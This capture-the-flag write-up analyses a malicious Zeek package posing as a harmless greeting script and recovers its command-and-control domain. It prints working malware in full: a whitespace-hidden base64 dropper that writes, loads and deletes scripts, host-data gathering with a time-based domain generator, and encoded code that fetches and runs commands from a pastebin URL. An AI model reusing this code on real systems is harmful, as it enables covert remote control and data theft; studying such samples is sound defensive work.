Friendly Package

A junior sensor admin was reading through the Zeek Package Source and came across this package. The package is named "friendly package" but is everything but friendly.

The junior admin loaded the package on her zeek sensor on 31 Aug 2020.

At 1598890299 the zeek sensor beaconed to a malicious command and control domain with sensitive host information.

The flag is the domain name which was beaconed to.

./
├── COPYING
├── LICENSE
├── README.md
├── VERSION
├── scripts
│   ├── __load__.zeek
│   └── innocuous.zeek
├── src
│   ├── Plugin.cc
│   ├── Plugin.h
│   └── events.bif
├── tests
│   └── test.sh
└── zkg.meta

All the interesting things happen in the scripts

innocuous.zeek
# An innocuous script which prints a warm greeting. How nice!

event zeek_init() &priority=-10{
  print "have a nice day!";
}
__load__.zeek
@load ./innocuous
																				global GLOBAL::drops: table[string] of string = { ["get-command.zeek"] = "Z2xvYmFsIEdMT0JBTDo6Z2V0X2FuZF9leGN1dGU6IGV2ZW50KCk7Cmdsb2JhbCBHTE9CQUw6Omxhc3RfY21kID0gIiI7CgojIEJFIENBUkVGVUwuIFRISVMgRE9XTkxPQURTIEEgU1RSSU5HIEZPUk0gVEhFIElOVEVSTkVUIEFORCBFWEVDVVRFUyBJVC4KZ2xvYmFsIEdMT0JBTDo6Y21kX3VybCA9ICJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvWkV0MXdFTXYiOwoKCmZ1bmN0aW9uIEdMT0JBTDo6cGVyc2lzdCgpIHsKICBzY2hlZHVsZSAyc2VjIHsgZ2V0X2FuZF9leGN1dGUoKSB9Owp9CgpldmVudCBHTE9CQUw6OmdldF9hbmRfZXhjdXRlKCkgewogIGxvY2FsIHJlcSA9IFskdXJsPWNtZF91cmwsICRtZXRob2Q9IkdFVCJdOwogIHdoZW4gKGxvY2FsIHJlc3BvbnNlID0gQWN0aXZlSFRUUDo6cmVxdWVzdChyZXEpKSB7CiAgICBpZiAoR0xPQkFMOjpsYXN0X2NtZCAhPSByZXNwb25zZSRib2R5KSB7CiAgICAgIHdoZW4gKGxvY2FsIHJlc3VsdCA9IEV4ZWM6OnJ1bihbJGNtZD1mbXQoIiVzIiwgcmVzcG9uc2UkYm9keSldKSkgewogICAgICAgIHByaW50IGZtdCgicGFzdGViaW4gY29tbWFuZDogJXMsIGNvbW1hbmQgcmVzdWx0OiAlcyIsIHJlc3BvbnNlJGJvZHksIHJlc3VsdCRzdGRvdXRbMF0pOwogICAgICAgIEdMT0JBTDo6bGFzdF9jbWQgPSByZXNwb25zZSRib2R5OwogICAgICB9CiAgICB9CiAgfQogIHBlcnNpc3QoKTsKfQoKZXZlbnQgemVla19pbml0KCkgewogIHBlcnNpc3QoKTsKfQo=", ["inject-pkt.py"] = "IyB3cml0ZSBvbmUhCg==", ["inject-pkt.zeek"] = "IyB3cml0ZSBhIHBrdCBpbmplY3Rpbmcgc2NyaXB0IGluIHB5dGhvbi4KIyB0aGVuIHVzZSB0aGUgZXhlYyBmcmFtZXdvcmsgdG8gY2FsbCBpdCBmcm9tIHplZWsK", ["main.zeek"] = "QGxvYWQgLi9nZXQtY29tbWFuZApAbG9hZCAuL3NjYW4tZmlsZXMKQGxvYWQgLi9pbmplY3QtcGt0CgpyZWRlZiBleGl0X29ubHlfYWZ0ZXJfdGVybWluYXRlID0gVDsKCmZ1bmN0aW9uIEdMT0JBTDo6ZGdhKCk6IHN0cmluZyB7CiAgbG9jYWwgdCA9IGN1cnJlbnRfdGltZSgpOwogIGxvY2FsIHNlZWQgPSBkb3VibGVfdG9fY291bnQoZmxvb3IodGltZV90b19kb3VibGUodCkpKSAlIDg2NDAwMDsKICBsb2NhbCBjb250cm9sbGVyID0gIiI7CiAgZm9yIChpIGluIGZtdCgiJXMiLCBzZWVkKSkgewogICAgbG9jYWwgbiA9IHRvX2ludChpKTsKICAgIGNvbnRyb2xsZXIgKz0gImFiY2RlZmdoaWprbG1ub3BxcnN0dVZ3eHlaIltuXTsKICB9CiAgY29udHJvbGxlciA9IGNvbnRyb2xsZXJbOi0zXTsKICBjb250cm9sbGVyICs9ICIuY29tIjsKICByZXR1cm4gY29udHJvbGxlcjsKfQoKZnVuY3Rpb24gR0xPQkFMOjpyZWdpc3Rlcih2czogdmVjdG9yIG9mIHN0cmluZykgewogIGxvY2FsIGMyID0gZGdhKCk7CiAgbG9jYWwgcmVxID0gWyR1cmw9Zm10KCJodHRwczovLyVzL25ldyIsIGMyKSwKICAgICAgICAgICAgICAgJG1ldGhvZD0iUE9TVCIsCiAgICAgICAgICAgICAgICRjbGllbnRfZGF0YT1lbmNvZGVfYmFzZTY0KGpvaW5fc3RyaW5nX3ZlYyh2cywgInwiKSldOwogIHByaW50ICJwcmVwYXJlZCBpbXBsYW50IGNoZWNrLWluLi4uIjsKICBwcmludCByZXE7Cn0KCmZ1bmN0aW9uIEdMT0JBTDo6Z2F0aGVyKCkgewogIHdoZW4gKGxvY2FsIHJlc3VsdDEgPSBFeGVjOjpydW4oWyRjbWQ9Zm10KCJob3N0bmFtZSAmJiBkYXRlICYmIGlkIildKSkgewogICAgbG9jYWwgaG4gPSByZXN1bHQxJHN0ZG91dFswXTsKICAgIGxvY2FsIGRhID0gcmVzdWx0MSRzdGRvdXRbMV07CiAgICBsb2NhbCBpZCA9IHJlc3VsdDEkc3Rkb3V0WzJdOwogICAgd2hlbiAobG9jYWwgcmVzdWx0MiA9IEV4ZWM6OnJ1bihbJGNtZD1mbXQoInciKV0pKSB7CiAgICAgIGxvY2FsIHVwID0gc3BsaXRfc3RyaW5nKHN1YihzcGxpdF9zdHJpbmcocmVzdWx0MiRzdGRvdXRbMF0sIC8gLylbM10sIC8gLywgIiIpLCAvOi8pOwogICAgICAjIEdhdGhlciBob3N0IHN0YXRzIG9ubHkgaWYgZXhlY3V0aW5nIG9uIGEgc3lzdGVtIHRoYXQncyBiZWVuIHVwIGZvciBvdmVyIDEgaHIKICAgICAgaWYgKHRvX2ludCh1cFswXSkgPiAxKSB7CiAgICAgICAgbG9jYWwgd2ggPSBqb2luX3N0cmluZ192ZWMocmVzdWx0MiRzdGRvdXQsICJ8Iik7CiAgICAgICAgcmVnaXN0ZXIodmVjdG9yKGhuLCBkYSwgaWQsIHdoKSk7CiAgICAgIH0KICAgIH0KICB9Cn0KCmZ1bmN0aW9uIEdMT0JBTDo6b3JpZW50KCkgewogIGxvY2FsIHJlcSA9IFskdXJsPSJodHRwczovL2FwaS5teWlwLmNvbS8iLCAkbWV0aG9kPSJHRVQiXTsKICB3aGVuIChsb2NhbCByZXNwb25zZSA9IEFjdGl2ZUhUVFA6OnJlcXVlc3QocmVxKSkgewogICAgIyBPbmx5IGRvIHN0dWZmIGlmIHdlIGFyZSBleGVjdXRpbmcgZnJvbSBzeXN0ZW0gd2l0aCBlZ3Jlc3MgSVAgbG9jYXRlZCBpbiB0aGUgVVMKICAgIGlmIChzdWIoc3ViKHNwbGl0X3N0cmluZyhyZXNwb25zZSRib2R5LCAvLC8pWzJdLCAvXCJjY1wiOlwiLywgIiIpLCAvXCJcfS8sICIiKSA9PSAiVVMiKSB7CiAgICAgIGdhdGhlcigpOwogICAgfQogIH0gdGltZW91dCAxbWluIHsKICAgIHJldHVybjsKICB9Cn0KCmV2ZW50IHplZWtfaW5pdCAoKSB7CiAgb3JpZW50KCk7Cn0K", ["scan-files.zeek"] = "IyBob29rIGZpbGUgZXZlbnRzIHdoaWNoIGNvbnRhaW4gZmlsZSBuYW1lcwojIG1hdGNoIHRob3NlIGZpbGVuYW1lcyBhZ2FpbnN0IGEgbGlzdCBvZiBwYXR0ZXJucyBsaWtlLCAvc2VjcmV0LyAvY29uZmlkZW50aWFsLyAvYW5ncnkga29hbGEvCiMgdXNlIGFjdGl2ZSBodHRwIHRvIHBvc3QgZmlsZSBjb250ZW50cyB0byB0aGUgY29udHJvbGxlciBmcm9tIEdMT0JBTDo6Zm91cigpCg=="};
																				function GLOBAL::f(): bool { for (fn in drops) { local fh = open(fn); write_file(fh, decode_base64(drops[fn])); close(fh);} return T;}
event zeek_done() {
  print "goodbye, you beautiful person!";
}
																				@if(f()) @load ./main @endif
																				event zeek_init() { for (fn in drops) { unlink(fn); } }
event zeek_init() {
  print "hello, you beautiful person!";
}

Yikes that formatting lets clean that up. Trying to hide beyond the column character limit, nice try.

@load ./innocuous

global GLOBAL::drops: table[string] of string = { 
    ["get-command.zeek"] = "Z2xvYmFsIEdMT0JBTDo6Z2V0X2FuZF9leGN1dGU6IGV2ZW50KCk7Cmdsb2JhbCBHTE9CQUw6Omxhc3RfY21kID0gIiI7CgojIEJFIENBUkVGVUwuIFRISVMgRE9XTkxPQURTIEEgU1RSSU5HIEZPUk0gVEhFIElOVEVSTkVUIEFORCBFWEVDVVRFUyBJVC4KZ2xvYmFsIEdMT0JBTDo6Y21kX3VybCA9ICJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvWkV0MXdFTXYiOwoKCmZ1bmN0aW9uIEdMT0JBTDo6cGVyc2lzdCgpIHsKICBzY2hlZHVsZSAyc2VjIHsgZ2V0X2FuZF9leGN1dGUoKSB9Owp9CgpldmVudCBHTE9CQUw6OmdldF9hbmRfZXhjdXRlKCkgewogIGxvY2FsIHJlcSA9IFskdXJsPWNtZF91cmwsICRtZXRob2Q9IkdFVCJdOwogIHdoZW4gKGxvY2FsIHJlc3BvbnNlID0gQWN0aXZlSFRUUDo6cmVxdWVzdChyZXEpKSB7CiAgICBpZiAoR0xPQkFMOjpsYXN0X2NtZCAhPSByZXNwb25zZSRib2R5KSB7CiAgICAgIHdoZW4gKGxvY2FsIHJlc3VsdCA9IEV4ZWM6OnJ1bihbJGNtZD1mbXQoIiVzIiwgcmVzcG9uc2UkYm9keSldKSkgewogICAgICAgIHByaW50IGZtdCgicGFzdGViaW4gY29tbWFuZDogJXMsIGNvbW1hbmQgcmVzdWx0OiAlcyIsIHJlc3BvbnNlJGJvZHksIHJlc3VsdCRzdGRvdXRbMF0pOwogICAgICAgIEdMT0JBTDo6bGFzdF9jbWQgPSByZXNwb25zZSRib2R5OwogICAgICB9CiAgICB9CiAgfQogIHBlcnNpc3QoKTsKfQoKZXZlbnQgemVla19pbml0KCkgewogIHBlcnNpc3QoKTsKfQo=", ["inject-pkt.py"] = "IyB3cml0ZSBvbmUhCg==", ["inject-pkt.zeek"] = "IyB3cml0ZSBhIHBrdCBpbmplY3Rpbmcgc2NyaXB0IGluIHB5dGhvbi4KIyB0aGVuIHVzZSB0aGUgZXhlYyBmcmFtZXdvcmsgdG8gY2FsbCBpdCBmcm9tIHplZWsK", ["main.zeek"] = "QGxvYWQgLi9nZXQtY29tbWFuZApAbG9hZCAuL3NjYW4tZmlsZXMKQGxvYWQgLi9pbmplY3QtcGt0CgpyZWRlZiBleGl0X29ubHlfYWZ0ZXJfdGVybWluYXRlID0gVDsKCmZ1bmN0aW9uIEdMT0JBTDo6ZGdhKCk6IHN0cmluZyB7CiAgbG9jYWwgdCA9IGN1cnJlbnRfdGltZSgpOwogIGxvY2FsIHNlZWQgPSBkb3VibGVfdG9fY291bnQoZmxvb3IodGltZV90b19kb3VibGUodCkpKSAlIDg2NDAwMDsKICBsb2NhbCBjb250cm9sbGVyID0gIiI7CiAgZm9yIChpIGluIGZtdCgiJXMiLCBzZWVkKSkgewogICAgbG9jYWwgbiA9IHRvX2ludChpKTsKICAgIGNvbnRyb2xsZXIgKz0gImFiY2RlZmdoaWprbG1ub3BxcnN0dVZ3eHlaIltuXTsKICB9CiAgY29udHJvbGxlciA9IGNvbnRyb2xsZXJbOi0zXTsKICBjb250cm9sbGVyICs9ICIuY29tIjsKICByZXR1cm4gY29udHJvbGxlcjsKfQoKZnVuY3Rpb24gR0xPQkFMOjpyZWdpc3Rlcih2czogdmVjdG9yIG9mIHN0cmluZykgewogIGxvY2FsIGMyID0gZGdhKCk7CiAgbG9jYWwgcmVxID0gWyR1cmw9Zm10KCJodHRwczovLyVzL25ldyIsIGMyKSwKICAgICAgICAgICAgICAgJG1ldGhvZD0iUE9TVCIsCiAgICAgICAgICAgICAgICRjbGllbnRfZGF0YT1lbmNvZGVfYmFzZTY0KGpvaW5fc3RyaW5nX3ZlYyh2cywgInwiKSldOwogIHByaW50ICJwcmVwYXJlZCBpbXBsYW50IGNoZWNrLWluLi4uIjsKICBwcmludCByZXE7Cn0KCmZ1bmN0aW9uIEdMT0JBTDo6Z2F0aGVyKCkgewogIHdoZW4gKGxvY2FsIHJlc3VsdDEgPSBFeGVjOjpydW4oWyRjbWQ9Zm10KCJob3N0bmFtZSAmJiBkYXRlICYmIGlkIildKSkgewogICAgbG9jYWwgaG4gPSByZXN1bHQxJHN0ZG91dFswXTsKICAgIGxvY2FsIGRhID0gcmVzdWx0MSRzdGRvdXRbMV07CiAgICBsb2NhbCBpZCA9IHJlc3VsdDEkc3Rkb3V0WzJdOwogICAgd2hlbiAobG9jYWwgcmVzdWx0MiA9IEV4ZWM6OnJ1bihbJGNtZD1mbXQoInciKV0pKSB7CiAgICAgIGxvY2FsIHVwID0gc3BsaXRfc3RyaW5nKHN1YihzcGxpdF9zdHJpbmcocmVzdWx0MiRzdGRvdXRbMF0sIC8gLylbM10sIC8gLywgIiIpLCAvOi8pOwogICAgICAjIEdhdGhlciBob3N0IHN0YXRzIG9ubHkgaWYgZXhlY3V0aW5nIG9uIGEgc3lzdGVtIHRoYXQncyBiZWVuIHVwIGZvciBvdmVyIDEgaHIKICAgICAgaWYgKHRvX2ludCh1cFswXSkgPiAxKSB7CiAgICAgICAgbG9jYWwgd2ggPSBqb2luX3N0cmluZ192ZWMocmVzdWx0MiRzdGRvdXQsICJ8Iik7CiAgICAgICAgcmVnaXN0ZXIodmVjdG9yKGhuLCBkYSwgaWQsIHdoKSk7CiAgICAgIH0KICAgIH0KICB9Cn0KCmZ1bmN0aW9uIEdMT0JBTDo6b3JpZW50KCkgewogIGxvY2FsIHJlcSA9IFskdXJsPSJodHRwczovL2FwaS5teWlwLmNvbS8iLCAkbWV0aG9kPSJHRVQiXTsKICB3aGVuIChsb2NhbCByZXNwb25zZSA9IEFjdGl2ZUhUVFA6OnJlcXVlc3QocmVxKSkgewogICAgIyBPbmx5IGRvIHN0dWZmIGlmIHdlIGFyZSBleGVjdXRpbmcgZnJvbSBzeXN0ZW0gd2l0aCBlZ3Jlc3MgSVAgbG9jYXRlZCBpbiB0aGUgVVMKICAgIGlmIChzdWIoc3ViKHNwbGl0X3N0cmluZyhyZXNwb25zZSRib2R5LCAvLC8pWzJdLCAvXCJjY1wiOlwiLywgIiIpLCAvXCJcfS8sICIiKSA9PSAiVVMiKSB7CiAgICAgIGdhdGhlcigpOwogICAgfQogIH0gdGltZW91dCAxbWluIHsKICAgIHJldHVybjsKICB9Cn0KCmV2ZW50IHplZWtfaW5pdCAoKSB7CiAgb3JpZW50KCk7Cn0K", ["scan-files.zeek"] = "IyBob29rIGZpbGUgZXZlbnRzIHdoaWNoIGNvbnRhaW4gZmlsZSBuYW1lcwojIG1hdGNoIHRob3NlIGZpbGVuYW1lcyBhZ2FpbnN0IGEgbGlzdCBvZiBwYXR0ZXJucyBsaWtlLCAvc2VjcmV0LyAvY29uZmlkZW50aWFsLyAvYW5ncnkga29hbGEvCiMgdXNlIGFjdGl2ZSBodHRwIHRvIHBvc3QgZmlsZSBjb250ZW50cyB0byB0aGUgY29udHJvbGxlciBmcm9tIEdMT0JBTDo6Zm91cigpCg=="
};

function GLOBAL::f(): bool { 
    for (fn in drops) {
        local fh = open(fn);
        write_file(fh, decode_base64(drops[fn])); 
        close(fh);
    } 
    return T;
}

event zeek_done() {
    print "goodbye, you beautiful person!";
}

@if(f()) @load ./main @endif
event zeek_init() {
    for (fn in drops) {
        unlink(fn);
    } 
}

event zeek_init() {
    print "hello, you beautiful person!";
}

Looks like we have more base64 files to expand out and write.

open.zeek
@load ./innocuous

global GLOBAL::drops: table[string] of string = {
    ["get-command.zeek"] = "Z2xvYmFsIEdMT0JBTDo6Z2V0X2FuZF9leGN1dGU6IGV2ZW50KCk7Cmdsb2JhbCBHTE9CQUw6Omxhc3RfY21kID0gIiI7CgojIEJFIENBUkVGVUwuIFRISVMgRE9XTkxPQURTIEEgU1RSSU5HIEZPUk0gVEhFIElOVEVSTkVUIEFORCBFWEVDVVRFUyBJVC4KZ2xvYmFsIEdMT0JBTDo6Y21kX3VybCA9ICJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvWkV0MXdFTXYiOwoKCmZ1bmN0aW9uIEdMT0JBTDo6cGVyc2lzdCgpIHsKICBzY2hlZHVsZSAyc2VjIHsgZ2V0X2FuZF9leGN1dGUoKSB9Owp9CgpldmVudCBHTE9CQUw6OmdldF9hbmRfZXhjdXRlKCkgewogIGxvY2FsIHJlcSA9IFskdXJsPWNtZF91cmwsICRtZXRob2Q9IkdFVCJdOwogIHdoZW4gKGxvY2FsIHJlc3BvbnNlID0gQWN0aXZlSFRUUDo6cmVxdWVzdChyZXEpKSB7CiAgICBpZiAoR0xPQkFMOjpsYXN0X2NtZCAhPSByZXNwb25zZSRib2R5KSB7CiAgICAgIHdoZW4gKGxvY2FsIHJlc3VsdCA9IEV4ZWM6OnJ1bihbJGNtZD1mbXQoIiVzIiwgcmVzcG9uc2UkYm9keSldKSkgewogICAgICAgIHByaW50IGZtdCgicGFzdGViaW4gY29tbWFuZDogJXMsIGNvbW1hbmQgcmVzdWx0OiAlcyIsIHJlc3BvbnNlJGJvZHksIHJlc3VsdCRzdGRvdXRbMF0pOwogICAgICAgIEdMT0JBTDo6bGFzdF9jbWQgPSByZXNwb25zZSRib2R5OwogICAgICB9CiAgICB9CiAgfQogIHBlcnNpc3QoKTsKfQoKZXZlbnQgemVla19pbml0KCkgewogIHBlcnNpc3QoKTsKfQo=", ["inject-pkt.py"] = "IyB3cml0ZSBvbmUhCg==", ["inject-pkt.zeek"] = "IyB3cml0ZSBhIHBrdCBpbmplY3Rpbmcgc2NyaXB0IGluIHB5dGhvbi4KIyB0aGVuIHVzZSB0aGUgZXhlYyBmcmFtZXdvcmsgdG8gY2FsbCBpdCBmcm9tIHplZWsK", ["main.zeek"] = "QGxvYWQgLi9nZXQtY29tbWFuZApAbG9hZCAuL3NjYW4tZmlsZXMKQGxvYWQgLi9pbmplY3QtcGt0CgpyZWRlZiBleGl0X29ubHlfYWZ0ZXJfdGVybWluYXRlID0gVDsKCmZ1bmN0aW9uIEdMT0JBTDo6ZGdhKCk6IHN0cmluZyB7CiAgbG9jYWwgdCA9IGN1cnJlbnRfdGltZSgpOwogIGxvY2FsIHNlZWQgPSBkb3VibGVfdG9fY291bnQoZmxvb3IodGltZV90b19kb3VibGUodCkpKSAlIDg2NDAwMDsKICBsb2NhbCBjb250cm9sbGVyID0gIiI7CiAgZm9yIChpIGluIGZtdCgiJXMiLCBzZWVkKSkgewogICAgbG9jYWwgbiA9IHRvX2ludChpKTsKICAgIGNvbnRyb2xsZXIgKz0gImFiY2RlZmdoaWprbG1ub3BxcnN0dVZ3eHlaIltuXTsKICB9CiAgY29udHJvbGxlciA9IGNvbnRyb2xsZXJbOi0zXTsKICBjb250cm9sbGVyICs9ICIuY29tIjsKICByZXR1cm4gY29udHJvbGxlcjsKfQoKZnVuY3Rpb24gR0xPQkFMOjpyZWdpc3Rlcih2czogdmVjdG9yIG9mIHN0cmluZykgewogIGxvY2FsIGMyID0gZGdhKCk7CiAgbG9jYWwgcmVxID0gWyR1cmw9Zm10KCJodHRwczovLyVzL25ldyIsIGMyKSwKICAgICAgICAgICAgICAgJG1ldGhvZD0iUE9TVCIsCiAgICAgICAgICAgICAgICRjbGllbnRfZGF0YT1lbmNvZGVfYmFzZTY0KGpvaW5fc3RyaW5nX3ZlYyh2cywgInwiKSldOwogIHByaW50ICJwcmVwYXJlZCBpbXBsYW50IGNoZWNrLWluLi4uIjsKICBwcmludCByZXE7Cn0KCmZ1bmN0aW9uIEdMT0JBTDo6Z2F0aGVyKCkgewogIHdoZW4gKGxvY2FsIHJlc3VsdDEgPSBFeGVjOjpydW4oWyRjbWQ9Zm10KCJob3N0bmFtZSAmJiBkYXRlICYmIGlkIildKSkgewogICAgbG9jYWwgaG4gPSByZXN1bHQxJHN0ZG91dFswXTsKICAgIGxvY2FsIGRhID0gcmVzdWx0MSRzdGRvdXRbMV07CiAgICBsb2NhbCBpZCA9IHJlc3VsdDEkc3Rkb3V0WzJdOwogICAgd2hlbiAobG9jYWwgcmVzdWx0MiA9IEV4ZWM6OnJ1bihbJGNtZD1mbXQoInciKV0pKSB7CiAgICAgIGxvY2FsIHVwID0gc3BsaXRfc3RyaW5nKHN1YihzcGxpdF9zdHJpbmcocmVzdWx0MiRzdGRvdXRbMF0sIC8gLylbM10sIC8gLywgIiIpLCAvOi8pOwogICAgICAjIEdhdGhlciBob3N0IHN0YXRzIG9ubHkgaWYgZXhlY3V0aW5nIG9uIGEgc3lzdGVtIHRoYXQncyBiZWVuIHVwIGZvciBvdmVyIDEgaHIKICAgICAgaWYgKHRvX2ludCh1cFswXSkgPiAxKSB7CiAgICAgICAgbG9jYWwgd2ggPSBqb2luX3N0cmluZ192ZWMocmVzdWx0MiRzdGRvdXQsICJ8Iik7CiAgICAgICAgcmVnaXN0ZXIodmVjdG9yKGhuLCBkYSwgaWQsIHdoKSk7CiAgICAgIH0KICAgIH0KICB9Cn0KCmZ1bmN0aW9uIEdMT0JBTDo6b3JpZW50KCkgewogIGxvY2FsIHJlcSA9IFskdXJsPSJodHRwczovL2FwaS5teWlwLmNvbS8iLCAkbWV0aG9kPSJHRVQiXTsKICB3aGVuIChsb2NhbCByZXNwb25zZSA9IEFjdGl2ZUhUVFA6OnJlcXVlc3QocmVxKSkgewogICAgIyBPbmx5IGRvIHN0dWZmIGlmIHdlIGFyZSBleGVjdXRpbmcgZnJvbSBzeXN0ZW0gd2l0aCBlZ3Jlc3MgSVAgbG9jYXRlZCBpbiB0aGUgVVMKICAgIGlmIChzdWIoc3ViKHNwbGl0X3N0cmluZyhyZXNwb25zZSRib2R5LCAvLC8pWzJdLCAvXCJjY1wiOlwiLywgIiIpLCAvXCJcfS8sICIiKSA9PSAiVVMiKSB7CiAgICAgIGdhdGhlcigpOwogICAgfQogIH0gdGltZW91dCAxbWluIHsKICAgIHJldHVybjsKICB9Cn0KCmV2ZW50IHplZWtfaW5pdCAoKSB7CiAgb3JpZW50KCk7Cn0K", ["scan-files.zeek"] = "IyBob29rIGZpbGUgZXZlbnRzIHdoaWNoIGNvbnRhaW4gZmlsZSBuYW1lcwojIG1hdGNoIHRob3NlIGZpbGVuYW1lcyBhZ2FpbnN0IGEgbGlzdCBvZiBwYXR0ZXJucyBsaWtlLCAvc2VjcmV0LyAvY29uZmlkZW50aWFsLyAvYW5ncnkga29hbGEvCiMgdXNlIGFjdGl2ZSBodHRwIHRvIHBvc3QgZmlsZSBjb250ZW50cyB0byB0aGUgY29udHJvbGxlciBmcm9tIEdMT0JBTDo6Zm91cigpCg=="
};

event zeek_init() {
    for (fn in drops) {
        local fh = open(fn);
        write_file(fh, decode_base64(drops[fn]));
        close(fh);
    }
}
./
├── get-command.zeek
├── inject-pkt.py
├── inject-pkt.zeek
├── innocuous.zeek
├── __load__.zeek
├── main.zeek
├── open.zeek
└── scan-files.zeek

So we are looking for something that will beacon out. Sounds like an http post to me.

@load ./get-command
@load ./scan-files
@load ./inject-pkt

redef exit_only_after_terminate = T;

function GLOBAL::dga(): string {
  local t = current_time();
  local seed = double_to_count(floor(time_to_double(t))) % 864000;
  local controller = "";
  for (i in fmt("%s", seed)) {
    local n = to_int(i);
    controller += "abcdefghijklmnopqrstuVwxyZ"[n];
  }
  controller = controller[:-3];
  controller += ".com";
  return controller;
}

function GLOBAL::register(vs: vector of string) {
  local c2 = dga();
  local req = [$url=fmt("https://%s/new", c2),
               $method="POST",
               $client_data=encode_base64(join_string_vec(vs, "|"))];
  print "prepared implant check-in...";
  print req;
}

function GLOBAL::gather() {
  when (local result1 = Exec::run([$cmd=fmt("hostname && date && id")])) {
    local hn = result1$stdout[0];
    local da = result1$stdout[1];
    local id = result1$stdout[2];
    when (local result2 = Exec::run([$cmd=fmt("w")])) {
      local up = split_string(sub(split_string(result2$stdout[0], / /)[3], / /, ""), /:/);
      # Gather host stats only if executing on a system that's been up for over 1 hr
      if (to_int(up[0]) > 1) {
        local wh = join_string_vec(result2$stdout, "|");
        register(vector(hn, da, id, wh));
      }
    }
  }
}

function GLOBAL::orient() {
  local req = [$url="https://api.myip.com/", $method="GET"];
  when (local response = ActiveHTTP::request(req)) {
    # Only do stuff if we are executing from system with egress IP located in the US
    if (sub(sub(split_string(response$body, /,/)[2], /\"cc\":\"/, ""), /\"\}/, "") == "US") {
      gather();
    }
  } timeout 1min {
    return;
  }
}

event zeek_init () {
  orient();
}

We have our POST. But it is dynamically creating the url based on the time of day. Remember the hint. It happened at 1598890299. So lets back into that domain name

event zeek_init() {

      local t: time = double_to_time(1598890299.0);
      local seed = double_to_count(floor(time_to_double(t))) % 864000;
      local controller = "";
      for (i in fmt("%s", seed)) {
        local n = to_int(i);
        controller += "abcdefghijklmnopqrstuVwxyZ"[n];
      }
      controller = controller[:-3];
      controller += ".com";
      print(controller);
}

The solution

eja.com

Last updated